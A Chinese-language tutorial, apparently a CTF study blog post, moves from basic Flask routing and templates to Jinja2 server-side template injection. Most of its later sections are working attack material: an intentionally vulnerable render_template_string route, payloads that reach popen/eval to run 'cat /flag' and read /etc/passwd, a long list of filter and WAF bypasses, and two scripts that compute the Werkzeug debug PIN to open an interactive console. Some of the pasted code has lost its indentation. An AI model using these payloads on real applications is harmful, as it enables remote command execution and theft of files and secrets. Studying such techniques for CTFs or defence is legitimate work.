从flask框架到模板注入

Flask 是一款使用 Python 编写的轻量级 Web 应用框架,它基于 Werkzeug WSGI 工具箱和 Jinja2 模板引擎。Flask 由 Armin Ronacher 开发,其目标是提供一个简单、灵活且易于扩展的框架,可以帮助开发人员快速构建 Web 应用程序。

1.第一个flask程序

1
2
3
4
5
6
7
from flask import Flask
app = Flask(__name__)
@app.route('/')
def hello():
return 'Hello, World!'
if __name__ == '__main__':
app.run()

运行之后,在5000端口出现一个服务器

访问/路由,返回hello world

2.目录树

在创建 Flask 应用时,通常会组织应用程序的代码和资源以保持良好的结构。以下是一个基本 Flask 应用的目录树示例:

1
2
3
4
5
6
├── app.py
├── static
│ └── style.css
├── templates
│ └── index.html
└── uploads

3.变量规则

构建动态url

1
2
3
4
5
6
7
8
9
10
from flask import Flask
app = Flask(__name__)
@app.route('/<name>')
def hello(name):
return 'Hello, %s!' % name
if __name__ == '__main__':
app.run()
#%s 格式化字符串
#%d 接受整数<int:name>
#%f 接受浮点值<float:name>

4.flask的http方法

包括

1
get/head/post/put/delete

在相关的路由后面添加上

1
2
3
methods=[post,get]//表示只接受这些方法
可以通过request.form去获得相关的数据
request.form['abc']//获得abc的值

重定向

1
redirect(url_for('success',name=user))//重定向到/success/user

5.flask模板

视图函数 :主要是生成相关的请求响应

包括处理业务逻辑,生成响应内容

使用模板:使用静态的html展示动态的内容

render_template函数

用于加载html文件。默认文件路劲在template下

我们可以往模板里面传入数据,包括字符串,字典等等

假设我们有这样一个服务

1
2
3
4
5
6
7
from flask import Flask
app = Flask(__name__)
@app.route('/<name>')
def hello(name):
return render_template("index.html",my_name=name)
if __name__ == '__main__':
app.run()

然后在index.html是这样的

1
2
3
4
5
<body>
<br>
{{my_name}}
<br>
</body>

这样就把我们传入的值渲染到相关的模板上面了

实现了动态传入数据,然后渲染到静态模板上面

同理,也可以通过get方法获得数据渲染模板

render_template_string函数

用于渲染字符串,直接定义内容

意味着可以不需要单独做一个页面。

相比于直接渲染到静态html上面,这里可以直接定义字符串的内容

1
2
3
@app.route('/<name>')
def hello(name):
return render_template("<body><br>%s<br></body>",% name)

6.模板注入

在渲染模板的时候,没有严格控制用户的输入;

可能导致rce和任意文件读取

假设有一个这样的模板

1
2
3
4
5
6
7
8
9
@app.route('/',,methods=['GET'])
def index():
str=request.args.get('name')
html_str=
'''<body>
<html><head></head>
<body>{{str}}</body><br>
</html>'''.format(name)
return render_template_string(html_str,str=str)

这里的name被预先渲染了,会被渲染转义,不会发生注入

然而,如果我们偷懒,这样写代码

1
2
3
4
5
6
7
8
@app.route('/',,methods=['GET'])
def index():
str=request.args.get('name')
html_str='''<body>
<html><head></head>
<body>{0}</body><br>
</html>'''.format(name)
return render_template_string(html_str)

在这里,通过format()函数填充到body中间,在{0}里面可以定义任何参数

render_template_string()会把所有的字符串当作指令代码

在这里会被作为指令进行渲染

7.python继承关系与利用

object是父子关系的顶端,所用的数据类型的父类都是object,即对象

object的子类里面如果存在eval函数,或者popen等函数,就可以实现rce或者实现任意文件读取

1
2
3
4
5
class a:pass
class b(a):pass
class c(b):pass
class d(b):pass
c=c()#实例化

使用魔术方法

1
2
3
4
5
6
7
8
__class__=>查看当前类
__base__=>查看当时的父类#可以一层一层的向上找
__more__=>查看他的所有父类,直到object
__subclasses__=>调用子类
__subclasses__()=>输出所有的子类
__subclasses__()[1]=>选择下标为1
__init__查看是否已经重载
__globals__查看可以调用的函数

寻找写存在读写或者rce的模块

image-20230824221142682

(jinja2)找到之后使用init检查目标函数是否已经被加载

沒有出現wrapper語句,意味未已經加載,那就需要使用__init__去加载

使用__globals__查看可以调用的函数

1
2
3
__builtins__提供对所有python的内置函数标识符的直接访问
eval()计算字符串表达式的值
popen()执行一个shell来运行命令

//在寻找不同的利用模块的时候。可以写爬虫脚本去遍历爆破,寻找出可以利用的函数

//可以加载第三方的库,比如适应load_module去加载os类直接进行命令

可以使用subproess

8.ssti的绕过

1.过滤了括号

可以使用{ % % }

这个属于flask的控制语句,用{ % end% }结尾

可以在控制语句里面写循环写定义写判断

1
2
{% for a in range(10)}
{% print(1) %}

利用思路

1
2
3
4
5
6
7
{%if 2>1%}AsaL1n{%endif%}
{%if(真)%}AsaL1n{%endif%}#只要能够回显,就说明前面是由为真的函数
可以写一句类似
{%if ''.__class__.base__.__subclasses__()[i].__init__.__globals__["popen"]("cat /flag").read()%}AsaL1n{%end%}
这样就可以做到判断哪一个类的可以被我们利用
然后使用print函数进行一个输出
或者直接用print去找

2.无回显

可以尝试反弹shell和带外注入

如果真的不可以,可以试着用ssti盲注

类似与sql盲注,这里不在细说

3.waf绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171

①绕过字符与典型函数类

1.)过滤[]

#绕过方法1:__getitem__绕中括号限制
#即将mro_[2]等价于__getitem__(2)即可
''.__class__.__mro__.__getitem__(2)<-> 等价于''.__class__.__mro__[2]
{}.__class__.__bases__.__getitem__(0)<->等价于{}.__class__.__bases__.__getitem__(0)
().__class__.__bases__.__getitem__(0)<->().__class__.__bases__.__getitem__(0)
request.__class__.__mro__.__getitem__(8)<->request.__class__.__mro__.__getitem__(8)
#绕过方法2:利用pop(40)绕
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
#使用 .getlist()方法绕
blacklist = ["__","request[request.","__class__",'[',']']
{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

2.)过滤_

blacklist = ["_"]
#绕过方法利用request.args.<param>绕
/?exploit={{request[request.args.pa]}}&pa=**class**

3.)过滤’request[request.’

blacklist = ["__","request[request."]
#绕过方法:
request | attr(request.args.a)等价于request["a"]
#利用payload
?exploit={{request|attr(request.args.pa)}}&pa=**class**

4.)过滤_class_

blacklist = ["__","request[request.","__class__"]
#绕过方法:管道+join方法,可以进行字符串的拼接操作
["a","b","c"]|join等价于abc.
exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_
即等价于
{{__class__}}

5.)绕过"|join"

blacklist = ["__","request[request.","__class__",'[',']',"|join"]
使用管道+format方法,用格式化字符串生成被过滤的字串。
/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_

6.)绕过.方法

#若.也被过滤,使用原生jinja2函数|attr()
request.__class__<-->request|attr("__class__")

7.)绕{{

#方法:{% if ... %}1{% endif %}
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('') %}1{% endif %}
1
2
绕过 _ . '这三个:是等价的
{{"".__class__}}
{{""["\x5f\x5fclass\x5f\x5f"]}}

"\x5f"是字符 ”_“,”\x2E"是字符 “.”。

绕过 ‘__’
exploit = request.args.get('exploit')
print exploit

blacklist = ["_"]
for bad_string in blacklist:
if bad_string in exploit:
return "HACK ATTEMPT {}".format(bad_string), 400

除了request.__class__,还可以用request.["_class_"]这种写法,即数组+字典下标的方式。但是仅使用这个方法是不行的,因为在render的时候就已经进行了对引号的转义,并且黑名单中的字符仍然存在。

request变量可以访问所有我们提交上去的变量,可以使用request.args.<param>的语法,再传入一个来构造变量。

这样就获得了一个绕过的方法:

EXP:/?exploit={{request[request.args.pa]}}&pa=**class**
绕过’[’ 和 ‘]’
blacklist = ["__","request[request.","__class__",'[',']']

可以使用元组('a','b','c')的方式给join传递参数,这样既可绕过方括号。只要把上一个EXP的方括号替换成圆括号即可,不过还有一个更优雅的方案。

使用 .getlist()方法得到一个列表,这个列表的参数可以在后面传递,具体示例请看EXP

EXP:/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

②过滤关键字类

绕过滤config、request以及class

1.)拼接绕

{{ session['__cla'+'ss__'] }}<-->{{session['__class__']}}
1
2.)利用__enter__方法绕(python3中)

{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[256]
1
绕组合

1.)绕’ “” _
利用request.args.x绕__过滤 利用request.args.x绕""

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/pass
1
?x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__
&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('cat+/flag').read() HTTP/1.1
X-Forwarded-For:{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(174)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}

2.)同时绕下划线、与中括号

#同时
{{()|attr(request.values.name1)|attr(request.values.name2)|attr(request.values.name3)()|attr(request.values.name4)(40)('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')|attr(request.values.name5)()}}
post:
name1=__class__&name2=__base__&name3=__subclasses__&name4=pop&name5=read

当有的字符串被 waf 的时候可以通过编码或者字符串拼接绕过

base64:

().__class__.__bases__[0].__subclasses__()[40]('r','ZmxhZy50eHQ='.decode('base64')).read()
相当于:
().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt').read()

字符串拼接:

+号绕过

().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt').read()
相当于
().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt').read()

[::-1]取反绕过

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
1
reload方法:

del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement

del __builtins__.__dict__['eval'] # evaluating code could be dangerous
del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file
del __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous

当没有过滤reload函数时,我们可以重载builtins

reload(__builtins__)

当不能通过[].class.base.subclasses([60].init.func_globals[‘linecache’].dict.values()[12]直接加载 os 模块

这时候可以使用getattribute+ 字符串拼接 / base64 绕过 例如:

[].__class__.__base__.__subclasses__()[60].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__.values()[12]

等价于:

[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12]

三.特殊读取文件姿势
{{url_for.__globals__['current_app'].config.FLAG}}

{{get_flashed_messages.__globals__['current_app'].config.FLAG}}

{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
#利用self姿势
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config
{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}

9.python debug pin码计算

如果开启了debug。那就可以通过计算pin码去进入py的交互模式

pin码的计算

image-20230825104543575

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
.flask所登录的用户名
/etc/passwd 中找到用户名

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}
{% endif %}
{% endfor %}
也可以

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
1

2.modname
一般为固定值flask.app


3.getattr(app, '__name__', getattr(app.__class__, '__name__'))
一般为固定值Flask


4.getattr(mod, '__file__', None) app.py的绝对路径
flask目录下的一个app.py的绝对路径 从网站报错信息中可以看到



5.uuid.getnode() mac地址
当前网络的mac地址的十进制数

读取文件**/sys/class/net/eth0/address** 或者 /sys/class/net/eth33/address eth0为网卡

6.get_machine_id() 机器id
每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件。

docker机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id

脚本加密计算(md5)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/python2.7
#coding:utf-8

from sys import *
import requests
import re
from itertools import chain
import hashlib

def genpin(mac,mid):

probably_public_bits = [
'ctf',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python2.7/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
mac = "0x"+mac.replace(":","")
mac = int(mac,16)
private_bits = [
str(mac),# str(uuid.getnode()), /sys/class/net/eth0/address
str(mid)# get_machine_id(), /proc/sys/kernel/random/boot_id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

return rv
# 02:42:ac:16:00:02 /sys/class/net/eth0/address
# 21e83dfd-206c-4e80-86be-e8d0afc467a1 /proc/sys/kernel/random/boot_id

def getcode(content):
try:
return re.findall(r"<pre>([\s\S]*)</pre>",content)[0].split()[0]
except:
return ''
def getshell():
print genpin("02:74:0e:ef:de:c2","0f70e611b2d30ec172763896fc0dd1252a84b8027036d52a8c243e9142af5bea")
#mac,machine id

if __name__ == '__main__':
getshell()

脚本(sha1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
import hashlib
import uuid
from itertools import chain

mac = '02:42:ac:02:01:50' # /sys/class/net/eth0/address
mac = int('0x' + mac.replace(':', ''), 16) # 1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup 或 cpuset
machine_id = b'7265fe765262551a676151a24c02b7b6'
cgroup = b'b511eedbf15d3d88b5c461e9e0beb2069e35635497f95d3af6be5b51b6f9ddb3'
modname = 'flask.app'
username = 'app'
file_path = '/usr/local/lib/python3.8/site-packages/flask/app.py'


def hash_pin(pin: str) -> str:
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]


def get_machine_id():
def _generate():
linux = b""

# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue

if value:
linux += value
break

# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass

return linux

_machine_id = _generate()
return machine_id + cgroup


def get_pin_and_cookie_name():
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.

Second item in the resulting tuple is the cookie name for remembering.
"""

# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
'Flask',
file_path,
]

# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [str(mac), get_machine_id()]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
rv = ''
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x: x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break

return rv, cookie_name


if __name__ == '__main__':
print(get_pin_and_cookie_name())